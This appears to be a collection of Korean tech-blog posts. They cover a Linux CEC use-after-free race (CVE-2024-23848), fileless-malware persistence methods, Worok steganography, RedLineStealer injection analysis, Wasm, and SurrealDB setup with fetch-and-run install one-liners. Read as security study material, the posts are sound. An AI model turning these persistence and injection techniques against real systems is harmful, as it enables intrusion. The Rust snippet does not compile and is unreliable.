CEC는 HDMI에서 사용되는 프로토콜 중 하나로, HDMI connectors는 이를 위한 핀을 하나 제공한다. 이 프로토콜은 HDMI 케이블로 연결된 디바이스들 간의 통신에 사용된다[3].

CEC를 사용하기 위해서는 관련 디바이스 파일을 열어야 하며, 특정 동작의 경우 관련 권한이 요구될 수 있다. CEC를 사용하는 디바이스들은 CEC message를 송수신하여 통신하게 된다[3].

CEC message는 큐에 저장되었다가 송수신되는데, 이 큐는 CEC filehandle의 멤버로 존재한다. 그런데 CEC 디바이스를 release할 때 CEC filehandle에 대한 lock이 존재하지 않아 race condition이 발생할 수 있다. 그리고 release 과정에서 filehandle이 free되므로 UAF가 발생할 수 있다[2, 4].

Background

CEC는 HDMI로 연결된 디바이스들이 통신하기 위한 프로토콜로, CEC message를 사용하여 통신하게 된다[3, 4].

CEC를 사용하는 방법은 다른 디바이스를 사용하는 방법과 다르지 않다. 즉, 디바이스 파일을 open system call을 사용해서 열고 ioctl system call을 사용하여 디바이스를 제어하고 close system call을 사용해서 디바이스를 release하는 것이다. 이 중 ioctl system call을 호출할 때 사용 가능한 command 중 CEC message와 관련된 것은 다음과 같다[2]:

@ CEC_ADAP_S_PHYS_ADDR: Sets a new physical address; it requires CEC_CAP_PHYS_ADDR and file descriptor to be in initiator mode

@ CEC_S_MODE: There are Initiator modes and Follower modes; Initiator mode is CEC_MODE_NO_INITIATOR, CEC_MODE_INITIATOR (default), CEC_MODE_EXCL_INITIATOR

@ CEC_RECEIVE: Received messasge can be a message received form another CEC device or the result of an earlier non-blocking transmit

@ CEC_TRANSMIT: Send CEC message; it requires CEC_CAP_TRANSMIT

이때 수신된 CEC message를 큐에 추가하는 과정은 커널 내부 스레드로 동작한다. 이는 다음 call trace를 통해 알 수 있다[4]:

ioctl() /* system call with CEC_ADP_S_PHYS_ADDR command */
cec_ioctl() /* with CEC_ADAP_S_PHYS_ADDR command */
cec_adap_s_phys_addr()
__cec_s_phys_addr()
cec_adap_enable()
adap->ops->adap_enable() /* this is cec_pin_adap_enable() */
kthread_run() /* with cec_pin_thread_func(), it works as a thread */
cec_received_msg_ts()
cec_receive_notify()
cec_queue_msg_fh()

그리고 다음 코드를 통해 수신된 CEC message가 큐에 저장됨을 알 수 있다[4]:

/*
 * Queue a new message for this filehandle.
 *
 * We keep a queue of at most CEC_MAX_MSG_RX_QUEUE_SZ messages. If the
 * queue becomes full, then drop the oldest message and keep track
 * of how many messages we've dropped.
 */
static void cec_queue_msg_fh(struct cec_fh *fh, const struct cec_msg *msg)
{
	static const struct cec_event ev_lost_msgs = {
		.event = CEC_EVENT_LOST_MSGS,
		.flags = 0,
		{
			.lost_msgs = { 1 },
		},
	};
	struct cec_msg_entry *entry;

	mutex_lock(&fh->lock);
	entry = kmalloc(sizeof(*entry), GFP_KERNEL);
	if (entry) {
		entry->msg = *msg;
		/* Add new msg at the end of the queue */
		list_add_tail(&entry->list, &fh->msgs);

		if (fh->queued_msgs < CEC_MAX_MSG_RX_QUEUE_SZ) {
			/* All is fine if there is enough room */
			fh->queued_msgs++;
			mutex_unlock(&fh->lock);
			wake_up_interruptible(&fh->wait);
			return;
		}

		/*
		 * if the message queue is full, then drop the oldest one and
		 * send a lost message event.
		 */
		entry = list_first_entry(&fh->msgs, struct cec_msg_entry, list);
		list_del(&entry->list);
		kfree(entry);
	}
	mutex_unlock(&fh->lock);

	/*
	 * We lost a message, either because kmalloc failed or the queue
	 * was full.
	 */
	cec_queue_event_fh(fh, &ev_lost_msgs, ktime_get_ns());
}

CEC device는 close system call이 호출되었을 때 release된다. 이때 메모리를 정리하는 작업이 수행되며, 이는 다음 코드를 통해 알 수 있다[4]:

/* Override for the release function */
static int cec_release(struct inode *inode, struct file *filp)
{
	struct cec_devnode *devnode = cec_devnode_data(filp);
	struct cec_adapter *adap = to_cec_adapter(devnode);
	struct cec_fh *fh = filp->private_data;
	unsigned int i;

	mutex_lock(&adap->lock);
	if (adap->cec_initiator == fh)
		adap->cec_initiator = NULL;
	if (adap->cec_follower == fh) {
		adap->cec_follower = NULL;
		adap->passthrough = false;
	}
	if (fh->mode_follower == CEC_MODE_FOLLOWER)
		adap->follower_cnt--;
	if (fh->mode_follower == CEC_MODE_MONITOR_PIN)
		cec_monitor_pin_cnt_dec(adap);
	if (fh->mode_follower == CEC_MODE_MONITOR_ALL)
		cec_monitor_all_cnt_dec(adap);
	mutex_unlock(&adap->lock);

	mutex_lock(&devnode->lock);
	mutex_lock(&devnode->lock_fhs);
	list_del(&fh->list);
	mutex_unlock(&devnode->lock_fhs);
	mutex_unlock(&devnode->lock);

	/* Unhook pending transmits from this filehandle. */
	mutex_lock(&adap->lock);
	while (!list_empty(&fh->xfer_list)) {
		struct cec_data *data =
			list_first_entry(&fh->xfer_list, struct cec_data, xfer_list);

		data->blocking = false;
		data->fh = NULL;
		list_del_init(&data->xfer_list);
	}
	mutex_unlock(&adap->lock);
	while (!list_empty(&fh->msgs)) {
		struct cec_msg_entry *entry =
			list_first_entry(&fh->msgs, struct cec_msg_entry, list);

		list_del(&entry->list);
		kfree(entry);
	}
	for (i = CEC_NUM_CORE_EVENTS; i < CEC_NUM_EVENTS; i++) {
		while (!list_empty(&fh->events[i])) {
			struct cec_event_entry *entry =
				list_first_entry(&fh->events[i],
						 struct cec_event_entry, list);

			list_del(&entry->list);
			kfree(entry);
		}
	}
	kfree(fh);

	cec_put_device(devnode);
	filp->private_data = NULL;
	return 0;
}

Root Cause Analysis

상기의 cec_release 함수의 코드를 다시 살펴보면, fh에 대한 lock이 없음을 알 수 있다[4].

/* Override for the release function */
static int cec_release(struct inode *inode, struct file *filp)
{
	struct cec_devnode *devnode = cec_devnode_data(filp);
	struct cec_adapter *adap = to_cec_adapter(devnode);
	struct cec_fh *fh = filp->private_data;
	unsigned int i;

	mutex_lock(&adap->lock);
	
	/* ... */
	
	mutex_unlock(&adap->lock);

	mutex_lock(&devnode->lock);
	mutex_lock(&devnode->lock_fhs);
	list_del(&fh->list);
	mutex_unlock(&devnode->lock_fhs);
	mutex_unlock(&devnode->lock);

	/* Unhook pending transmits from this filehandle. */
	mutex_lock(&adap->lock);
	
	/* ... */
	
	mutex_unlock(&adap->lock);
	
	/* ... */
	
	kfree(fh);

	cec_put_device(devnode);
	filp->private_data = NULL;
	return 0;
}

그런데 상기의 cec_queue_msg_fh 함수에는 fh에 lock을 걸고 fh->msgs에 접근하여 큐에 메시지를 추가하는 작업이 존재한다[4].

/*
 * Queue a new message for this filehandle.
 *
 * We keep a queue of at most CEC_MAX_MSG_RX_QUEUE_SZ messages. If the
 * queue becomes full, then drop the oldest message and keep track
 * of how many messages we've dropped.
 */
static void cec_queue_msg_fh(struct cec_fh *fh, const struct cec_msg *msg)
{
	static const struct cec_event ev_lost_msgs = {
		.event = CEC_EVENT_LOST_MSGS,
		.flags = 0,
		{
			.lost_msgs = { 1 },
		},
	};
	struct cec_msg_entry *entry;

	mutex_lock(&fh->lock);
	entry = kmalloc(sizeof(*entry), GFP_KERNEL);
	if (entry) {
		entry->msg = *msg;
		/* Add new msg at the end of the queue */
		list_add_tail(&entry->list, &fh->msgs);
		
		/* ... */
	}
	mutex_unlock(&fh->lock);

	/*
	 * We lost a message, either because kmalloc failed or the queue
	 * was full.
	 */
	cec_queue_event_fh(fh, &ev_lost_msgs, ktime_get_ns());
}

그럼 우리는 상기의 두 함수를 race 시켜서 fh가 free된 상태에서 fh->msgs에 접근하도록 만들 수 있을 것이다.

   thread 1     |                      thread 2
---------------------------------------------------------------------   
   kfree(fh)    |
                |   mutex_lock(fh);
                |   list_add_tail(&entry->list, &fh->msgs); ---> UAF

따라서 race condition에 의한 UAF가 발생할 수 있다.

References

“CVE-2024-23848 Detail,” 2024. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2024-23848, [Accessed Jan. 30, 2024].
Hans Verkuil, “[Linux Kernel Bugs] KASAN: slab-use-after-free Read in cec_queue_msg_fh and 4 other crashes in the cec device (cec_ioctl),” 2024. Available: https://lore.kernel.org/lkml/e9f42704-2f99-4f2c-ade5-f952e5fd53e5%40xs4all.nl/, [Accessed Jan. 30, 2024].
“Linux Media Subsystem Documentation,” 2016. [Online]. Available: https://www.kernel.org/doc/html/v4.9/media/uapi/cec/cec-intro.html, [Accessed Jan. 31, 2024].
torvalds, “Linux kernel,” 2024. [Online]. Available: https://github.com/torvalds/linux, [Accessed Jan. 30, 2024].

Rust - 정적 코드 분석

Sat, 14 Oct 2023 04:36:22 +0000

요약

Rust 코드를 자면서, 매크로 이용 중 인라인에서 A trait을 impl하고 있는지 확인을 위해 static_assertion 분석 중 찾아낸 응용법입니다.

/* A트레잇을 구현하지 않았을 때 동작할 내용을 정의합니다. */
struct TraitNotImplemented {
  const DATA: bool = false;
  fn get_data() -> &str { "This type/trait does not implement that trait." }
}
// 모든 타입에 대해 ::DATA를 적으면 false가, ::get_data를 적으면 위 메세지가 나오게 합니다.
impl<T> TraitNotImplemented for T {}

struct Wrapper<T>(::core::marker::PhantomData<T>);
/* A트레잇을 구현했을 때 동작할 내용을 정의합니다. */
// 타입에 대해 직접 impl한게 우선권이 높아
// A를 구현한 타입에 ::DATA를 하면 true, ::get_data를 적으면 아래 메세지가 나오게 됩니다.
impl<T: ?Sized + A> Wrapper<T> {
  const DATA:bool = true;
  fn get_data() -> &str { "This type/trait implement that thait" }
}

let b_type_impl_a = <Wrapper<B>>::DATA;

Deep dive into Fileless Malware

Sat, 07 Oct 2023 21:01:01 +0000

Fileless Malware

Definition

컴퓨터 메모리 기반 아티팩트, 즉 RAM에 배타적으로 존재하는 컴퓨터 관련 악성코드
장점
- 공격자 입장에서는 AV를 회피하기 위한 전략을 짜는데 그 중 하나인 파일을 사용하지 않는 기법
- 파일이 없으니까 AV로 탐지가 불가능 - 해시값 구하지 못함
- 흔적을 남기지 않음
- White process만 동작 가능하도록 제어하는 보안 솔루션도 정상으로 판단 가능
💡 AV(Anti-Virus) : 악성파일을 탐지 및 차단하여 삭제
단점
- 재부팅할 경우 사라짐 → 지속적인 시스템에 대한 제어권을 얻기 위해 재부팅되도 Malware가 동작할 수 있도록 지속성(Persistence) 전략 사용 - 어떤 지속성 전략을 가질 수 있는지가 관건

Method

일반적인 악성코드는 실행파일(PE) 형태를 가지지만, 파일리스는 운영체제에서 제공하는 스크립트 엔진을 사용해 악성행위를 수행

즉, 따로 디스크에 파일 형태로 저장되지 않고 메모리에 바로 실행 가능한 형태의 공격기법을 의미

AVT(Advanced Volatile Threat)
- “지능형 휘발성 위협”
- APT 공격에 파일리스 유형의 기법이 사용
- In-memory Malware, LOL(Living off The Land) 도구 사용
  
  💡 LOL : “자급자족”, 외부 도구가 아닌 타겟 시스템 내의 신뢰할 수 있는 유틸리티 등을 악성 행위를 수행

Method Type

LOL 도구 중 powershell 스크립트를 이용한 기법
Reflective DLL Injection : Malware Dll을 메모리에 로드
Memory Exploit : Kernel Memory 보안 취약점 활욜
Script-based Technique : Powershell, JavaScript, VBScript, …
WMI Persistence

Attack Procedure

공격자가 타켓 시스템 선정 후 다양한 Attack Vector를 통해 JavaScript나 VBScript를 실행 하여 런처 역할을 할 수 있는 프로세스 실행
지속적으로 Powershell Oneliner가 실행할 수 있도록 Registry 항목을 만들거나 WMI 객체 생성
Powershell Oneliner 실행 → 메모리 내에서 악성코드 실행

Persistance strategy

지속적으로 시스템에 대한 제어권 얻는 것을 유지하기 위한 전략
최소한의 Malware를 시스템에 남기고 재부팅 후에도 지속적인 제어권을 유지시키기 위해 레지스트리, 서비스 스케쥴러, WMI등

Example

1) 레지스트리

Powershell Script로 레지스트리 “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” 등록
- Run : 윈도우 자동 시작을 위한 기능
MS에서 제공하는 autoruns 툴을 이용하여 시스템 시작시 자동 실행되는 다양한 등록값에 대한 정보 확인 가능 → Powershell Oneliner가 잘 작동되는지 확인 가능

2) 서비스

sc를 이용해 서비스에 Powershell Oneliner 등록
cmd or Powershell에서 sc(Service Control) 명령어를 통해 윈도우 서비스 등록, 삭제, 시작, 중지, 서비스 시작 유형 변경 가능
- auto : 서비스 시작 유형 중 하나로 컴퓨터를 재시작할시 로그인 된 사용자 없이 자동으로 실행

→ 부팅될때마다 Powershell Oneliner 작동

3) 작업 스케쥴러

schtasks를 이용해 작업 스케쥴러에 Powershell Oneliner 등록

→ 스케쥴러의 실행 시점이나 주기를 지정가능

4) WMI

Permanent Event Subscription은 Event Query를 활용하게 되며 해당 기능을 통해 시스템 내에서 발생하는 이벤트 중 특정 조건을 가진 이벤트가 발생할때마다 특정 로직을 실행 가능

→ Permanent Event Subscription를 시스템상 등록하기 위해서는 관리자 권한 필요

Event Filter
- 트리거 이벤트 찾기
Event Consumer
- 필터가 성공적으로 일치하면 실행
Binding
- 필터가 일치할 때마다 실행되는 Consumer를 연결

Response plan

로깅 - Powershell Script 블록 로깅
로깅 - Sysmon
EDR제품 : 실시간 탐지 및 차단

Deep dive into Steganography

Sat, 07 Oct 2023 20:20:01 +0000

Steganography

Definition

메시지를 숨겨서 비밀문서를 작성

Digital Steganography

텍스트 파일, 그림 파일, 오디오 파일, 동영상 파일등으로 메시지를 숨김
주로 그림 파일을 대상으로 함

Audio File

인간의 청각 영역을 벗어난 주파수 대역에 노이즈 형태로 메시지를 삽입

Image File

Spatial domain : 픽셀을 이용
Transform(or Frequency) domain : Transform, Frequency에 정보를 숨김
Distortion : 이미지 파일을 변형시켜 정보를 숨김, 해독자는 원본 이미지 파일을 가지고 있어야함
Masking and filtering : 이미지의 특정 부분의 밝기나 휘도를 변형시켜 정보를 숨김

Use of Steganography in Malware

Purpose

안티 바이러스 SW의 탐지를 피하기 위함
장점 : 기술 구현 쉽고 탐지 어려움

With Uesd Attack

말버타이징(Malvertising) 공격
Exploit-Kit 공격

Malware Type

Payload라 불리는 최종 악성코드를 설치하는 광정을 숨김
악성코드를 실행하는데 필요한 Configuration 정보를 숨김
해커가 운영하는 C&C 서버에서, 감염된 시스템에 전달하는 명령어를 숨김
감염된 시스템에서 동작하는 Malware가 수집한 정보를, 외부 C&C서버로 보낼때, 정보를숨김

Real-World Example

‘Worok’ 스테가노그래피 기법을 통해 PNG 파일에 Malware 숨김

Malware Type
- 컴퓨터 정보 탈취 악성코드를 위한 PNG 파일
Worok’s complete infection chain

Behavior Method
1. PNG 파일에 Malware 숨기기
2. PNG에 Payload 숨기기
  1. 이미지 픽셀의 가장 중요하지 않은 비트에 악성코드의 작은 코드를 삽입하는 ‘최하위 비트(LSB) 인코딩’ 이라는 기술 사용
  2. PNGLoader가 해당 비트에서 추출한 첫 번째 Payload는 ESET이나 Avast 모두 검색할 수 없는 PowerShell script임
  3. PNG 파일에 숨어 있는 두 번째 Payload는 C2 통신, 파일 유출 등을 위해 DropBox 파일 호스팅 서비스를 남용하는 맞춤형 .NET C# 정보 스틸러(DropBoxControl)
3. DropBox abuse
  1. ‘DropBoxsControl’ Malware는 행위자가 제어하는 DropBox 계정을 사용하여 손상된 시스템에서 데이터 및 명령을 수신하거나 파일 업로드 수행
  2. 명령은 공격자의 DropBox 리포지토리에 있는 암호화된 파일에 저장되며 Malware는 대기 중인 작업을 검색하기 위해 주기적으로 액세스
4. 지원되는 명령
  - 주어진 매개변수로 “cmd /c” 실행
  - 주어진 매개변수로 실행 파일 실행
  - DropBox에서 장치로 데이터 다운로드
  - 장치에서 DropBox로 데이터 업로드
  - 피해자 시스템의 데이터 삭제
  - 피해자 시스템의 데이터 이름 바꾸기
  - 정의된 디렉토리에서 파일 정보 추출
  - 백도어에 대한 새 디렉토리 설정
  - 시스템 정보 유출
  - 백도어 구성 업데이트

Worok hackers hide new malware in PNGs using steganography

RedLineStealer Analysis

Sat, 07 Oct 2023 15:50:01 +0000

Title: Malware Analysis RedLineStealer

Writter: foliv0ra, eveheeero

SHA256 hash: 6be57566a72c81a9336d39b56627c14aa6a04e604954b71a84e83125171a742c
Family: RedLineStealer
First seen: 2023-09-23 22:00:12 UTC
Environment: Windows11 Sandbox
Used Tool
1. DIE
2. x64dbg
3. Process Explorer

{Analysis OverView}

Based on VirusTotal, It was uploaded at 2023-09-23 20:58:42 UTC. The Malware turned out to be RedLineStealer, which steals personal information such as user Emails, Web browsers, and Cyptocurrency.

File Type: EXE

{Static Analysis}

DIE(Detect It Easy)

Compiler: Microsoft Visaul C/C++(2017 v.15.5-6)[EXE32], Microsoft Visaul C/C++(2022 v.17.4)[-]
Not Packing But, When I opened the binary with debbugger, my thoughts changed.

Entropy

{Summary}

The code inside the Malware is decrypted and injected into Microsoft.NET’s AppLaunch.exe, and AppLaunch.exe is created and executed. There is no code to steal personal information in this malware, ant it is assumed that the code injected into AppLaunch.exe contains code to steal personal information.

{Dynamic Analysis}

x64dbg

The front loop is not related to the main function, so it is skipped, and the place where BP is placed is the main function.

In this part, obfuscation techniques are used. If you look closely at the Operand of the jump command, it points to an address that is different from the address value processed in the debugger.

When you jump to that address, it is converted to the code below and a new jump is created.

Decrypt the values in the encrypted memory dump using xor and add.

If you run it dynamically and perform decryption, you can see that an EXE (header: 4D 5A) file like the memory has been created.

In the createprocessW API, the 6th Argument is saved as 4, which is the argument value that tells AppLaunch.exe to run and pause. The binary value created here is later injected into AppLaunch.exe.

% Reference link: https://learn.microsoft.com/ko-kr/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw

Execute the NTWriteVirtualMemory function and insert the code in the memory into AppLaunch.exe as mentioned above.

As a result of monitoring using Process Explorer, it was confirmed that AppLaunch.exe, which had been inserted with code presumed to be malicious code, was executed and immediately paused as mentioned above.

In the next task, we analyze AppLaunch.exe, which has malicious actions inserted into it. :)

Wasm/Wasi/Wasix를 알아보자

Fri, 09 Jun 2023 13:55:27 +0000

요약

wasm - 웹 환경에서 네이티브 코드를 돌리는 기술 (연산 속도가 매우 빠르다)
wasi - 웹 환경에서 네이티브를 돌린다면 크로스플랫폼적이니까, wasm을 이용해 크로스플랫폼 프로그램을 돌리는 기술
wasix - wasi 발전이 빠르지 않아 새로 나오게 된 기술, wasi의 고도화버전(래핑버전), 다양한 함수 지원

최근 wasm쪽 커뮤니티에서, wasi 업데이트가 오래 나오지 않아 wasmer팀에서 wasix를 새로 만들었다는 소식이 들려왔다. 링크

새로 만들어진 Wasix에서는 웹소켓, 비동기프로그래밍, 스레딩, 브라우징, 서브프로세스 등… 이게 웹어셈 환경에서 돌아간다고? 싶은 기능들이 돌아간다고 한다.

몇 년 전부터, wasm(웹어셈블리)를 통해 서버에서 연산해야 하는 내용을, 클라이언트단에서 계산할 수 있게 된다, 웹 개발의 미래다 라는 소식을 듣곤 했지만, 공부한 적이 없어서 이번 기회에 함께 공부해보기로 했다.

Wasm이란 무엇인가?

Wasm은 모질라에서 2015년 발표한, 웹 브라우저에서 어셈블리를 실행할 수 있는 기술이다.

기존 웹 브라우저는 자바스크립트 기반으로 돌아가거나, 서버측에서 연산을 하여 반환해주는 식으로 돌아갔기 때문에, 한번에 클라이언트가 고부하의 연산을 요청할경우,

자바스크립트로 돌아가는 웹 브라우저에서는 연산할 수 없고, 서버에서는 너무 많은 요청이 들어와 곤란한 경우가 있었다.

이때 Wasm(웹 어셈블리) 기술을 활용하면 웹 브라우저에서도 빠른 속도로 연산을 할 수 있어서, 웹서버의 부하를 줄여준다는 기대가 있었다.

하지만 Wasm은 개발 난이도가 높으며, “굳이 웹 브라우저에서 고성능의 연산을 할 필요가 없다” 는 의견이 있습니다.

Wasi이란 무엇인가?

실행 파일로 만들어진 프로그램과 비슷한 성능을 자랑하는 웹 어셈블리,

웹 어셈블리는 자바스크립트와 웹 브라우저가 해석하고 실행할 수 있기 때문에 크로스플랫폼이라는 특징이 있다.

이러한 특징을 이용해, 웹 어셈블리로 연산 로직을 만들어, 이를 바이너리로 다시 실행하는 프로젝트가 만들어졌으며, 이를 위한 인터페이스가 Wasi다.

프로그래머가 Wasi를 이용해 웹어셈블리 코드를 짜면, 사용자는 이를 어느 플랫폼에서든 실행할 수 있다. (단순 연산이 아닌, 파일 입출력, 소켓 관리 등의 다양한 함수들이 지원된다.)

하지만 Wasi는 발전이 느려, 이를 해결하기 위해 새로 Wasix가 만들어 졌습니다.

Wasix이란 무엇인가?

Wasix는 Wasi를 실행할 수 있게 도와주는 wasmer프로젝트 그룹에서, Wasi 발전이 더뎌, wasi의 기능을 간단하게 사용하기 위해 만들어진 Wasi의 발전형입니다.

Wasix를 이용해 웹어셈블리를 작성할 경우, 해당 링크내용에 있는 기능들을 사용할 수 있다고 한다.

SurrealDB란 무엇인가?

Wed, 31 May 2023 03:47:41 +0000

백엔드 개발자인 주제에 데이터베이스를 제대로 다뤄보지 않아, 이번 기회에 데이터베이스를 사용하는 방법을 공부해보았습니다.

SurrealDB

깃허브

순수 Rust로 작성된 데이터베이스로, 1.0 릴리즈 버전이 나오기 직전이라는 소문이 있어 사용해 보았습니다.

설치는 깃허브 페이지에서 실행파일을 다운로드하거나, 설치 명령어들을 실행해서 설치할 수 있습니다.

# Mac
brew install surrealdb/tap/surreal
# Linux
curl --proto '=https' --tlsv1.2 -sSf https://install.surrealdb.com | sh
# Windows
iwr https://windows.surrealdb.com -useb | iex
# Docker 
docker run --rm --pull always --name surrealdb -p 8000:8000 surrealdb/surrealdb:latest start

실행

SurrealDB 설치 후 커멘드로 실행해보았습니다.

실행해보니 다른 디비와 마찬가지로, 실행한 창에서는 커멘드를 입력할 수 없었습니다. (데이터베이스를 자주 다루지 않아서 미숙합니다.)

깃허브 페이지에서 보면, 웹 클라이언트가 있어 보였는데, 아직 미출시여서 클라이언트로 접속할 수 밖에 없었습니다.

디비에 접속하여 사용하는 법을 익혀보았습니다.

개발 초기단계의 데이터베이스여서 그런지, 문서의 양이 많지 않아 원하는 내용을 쉽게 찾을 수 있었습니다.

해당 설명을 보면 아이디와 패스워드를 확인 후, 해당 패스워드를 이용해 접속해야 합니다.

surreal sql -c http://localhost:8000

-u <유저명> -p <패스워드> --ns <네임스페이스> --db <데이터베이스> 를 입력해야하지만, 유저명 기본값은 root, 패스워드 기본값은 root로 설정되어 있습니다.

–ns와 –db는 입력하지 않아도 접속할 수 있습니다. (데이터베이스 조회는 안됩니다.)

기본 조작

해당 링크를 접속하여 기본적인 헬프 명령어를 볼 수 있습니다.

-- 네임스페이스 변경 (없으면 생성 후 변경)
use ns namespace1
-- 데이터베이스 변경 (없으면 생성 후 변경)
use db db1

-- namespace1/db1 안에 들어와있습니다.
-- 테이블을 정의할 필요 없이 create 명령어로 데이터를 삽입할 수 있습니다.

-- human이라는 테이블에 hero라는 아이디를 가진 데이터를 넣어라
-- human이라는 테이블이 없으면 만들고 데이터를 넣습니다.
create human:hero
-- 만들어진 데이터 업데이트, 열을 설정하지 않아도 동작합니다.
update human:hero set region = "대한민국"
-- create human:hero set region = "대한민국" 으로도 동작합니다.

-- human 테이블 조회
select * from human
-- human 테이블 안의 hero 데이터 조회
select * from human:hero

CREATE를 사용했을 때 데이터가 들어가는것으로 보아, 다른 데이터베이스를 쓰다가 오면 호환성 작업이 조금 필요할 것 같지만, 테이블을 미리 정의해 둘 필요가 없기 때문에 유연하게 데이터 사용이 가능해 보입니다.

기본 INSERT문도 지원하지만 저는 CREATE명령어가 마음에 듭니다.

추가적으로 타입과 내장 함수들도 유용한 내용들이 있어 편하게 사용 가능해 보입니다.

이미 존재하는 데이터 찾기

SurrealDB에는 메타데이터들이 없는 대신 info명령어를 통해 어떤 데이터가 저장되어있는지 찾을 수 있습니다.

-- 어떤 네임스페이스가 정의되어 있는지 조회 (데이터가 들어간 네임스페이스만 조회)
info for kv
-- > info for kv
-- { ns: { namespace1: 'DEFINE NAMESPACE namespace1' } } -- namespace1이라는 네임스페이스가 존재함
use ns "네임스페이스 명"

-- 네임스페이스 안에 존재하는 데이터베이스 조회 (데이터가 들어간 데이터베이스만 조회)
info for ns -- 설명대로는 동작해야 하는데, 데이터베이스가 설정되지 않으면 현재는 동작하지 않습니다. use db temp로 아무런 데이터베이스를 사용한다고 선언한 후 사용하시면 됩니다.
-- > use db temp
-- namespace1/temp> info for ns
-- { db: { db1: 'DEFINE DATABASE db1' }, nl: {  }, nt: {  } } -- db1이라는 데이터베이스가 존재함
use db "데이터베이스 명"

-- 데이터베이스 내부에 어떤 테이블이 있는지 조회 (데이터가 들어간 테이블만 조회)
info for db
-- namespace1/db1> info for db
-- { dl: {  }, dt: {  }, fc: {  }, pa: {  }, sc: {  }, tb: { human: 'DEFINE TABLE human SCHEMALESS PERMISSIONS NONE' } } -- human이라는 테이블이 존재함

SurrealDB를 시작으로 여러 데이터베이스 다루는 법을 익혀야겠습니다.

Bit-Wise Analysis Of The Collatz Conjecture

Tue, 16 May 2023 01:40:23 +0000

Introduction
3x + 1 Problem
Bit-wise Analysis
1. Rightmost Bit Pattern: 1000…01
2. Rightmost Bit Pattern: 1111…11
Conclusion
References

Introduction

콜라츠 추측이라고도 알려져 있는 3x + 1 문제는 홀수인 정수 n을 3n + 1로, 짝수인 정수 n을 n / 2로 만드는 함수의 반복이 만들어내는 동작에 관심을 갖는다. 3x + 1 추측이 주장하는 것은, 임의의 양의 정수 n에 대해 이 함수를 반복적으로 적용하면 결국 1에 도달한다는 것이다[1].

본 글에서는 3x + 1 문제를 분석하기 위해 비트를 사용한 방법을 제시한다. 물론 아직 이 방법으로 문제를 증명을 할 수 있는지는 명확하지 않지만, 분명히 통계적 방법과 다르다.

3x + 1 Problem

3x + 1 문제는 다음과 같이 정의하는 함수의 반복으로 표현된다[1]:

\[\begin{equation} T(n) = \begin{cases} \frac{3n + 1}{2}& \text{if } n \equiv 1 \pmod 2 \\ \frac{n}{2}& \text{if } n \equiv 0 \pmod 2 \\ \end{cases} \end{equation}\]

Bit-wise Analysis

임의의 양의 정수 $n$의 비트열 표현을 생각해보자. 여기서 우리는 이 비트열의 우측 끝 부분의 유형을 다음과 같이 세 가지로 나눌 수 있다:

\[\begin{equation} \begin{cases} 1 \underbrace{000 \dots 0}_\text{N} 0_2 & \text{(i)} \\ 1 \underbrace{000 \dots 0}_\text{N} 1_2 & \text{(ii)} \\ 1 \underbrace{111 \dots 1}_\text{N} 1_2 & \text{(iii)} \\ \end{cases} \end{equation}\]

식 2의 i의 경우에는 자명하게 1에 도달함을 알 수 있다. 그럼 식 2의 ii, iii의 경우에도 1에 도달하는지 알아보자.

Rightmost Bit Pattern: 1000…01

여기서 우리가 관심을 가지는 부분은 비트열의 우측 끝 부분의 1000…01(2)이다. 이러한 비트열에 대해 T(n)을 적용하면 다음을 얻는다:

\[1 \underbrace{000 \dots 0}_\text{N} 1_2 \\ 11 \underbrace{000 \dots 0}_\text{N - 2} 10_2 \\ 11 \underbrace{000 \dots 0}_\text{N - 2} 1_2 \\ 1001 \underbrace{000 \dots 0}_\text{N - 4} 10_2 \\ 1001 \underbrace{000 \dots 0}_\text{N - 4} 1_2 \\ 11011 \underbrace{000 \dots 0}_\text{N - 6} 10_2 \\ 11011 \underbrace{000 \dots 0}_\text{N - 6} 1_2 \\\]

위 식에서 각 비트열의 우측 끝 부분의 1000…01(2)에 주목하라. 그럼 1000…01(2)의 두 개의 1 사이에 있는 0의 개수가 두 개씩 감소함을 알 수 있다. 그럼 이를 일반화해보자. 먼저 홀수인 001(2)에 3을 곱하고 1을 더하면 100(2)이고 이를 2로 나누면 10(2)이다. 이때 10(2)는 짝수이므로 2로 나누면 1(2)이 된다. 따라서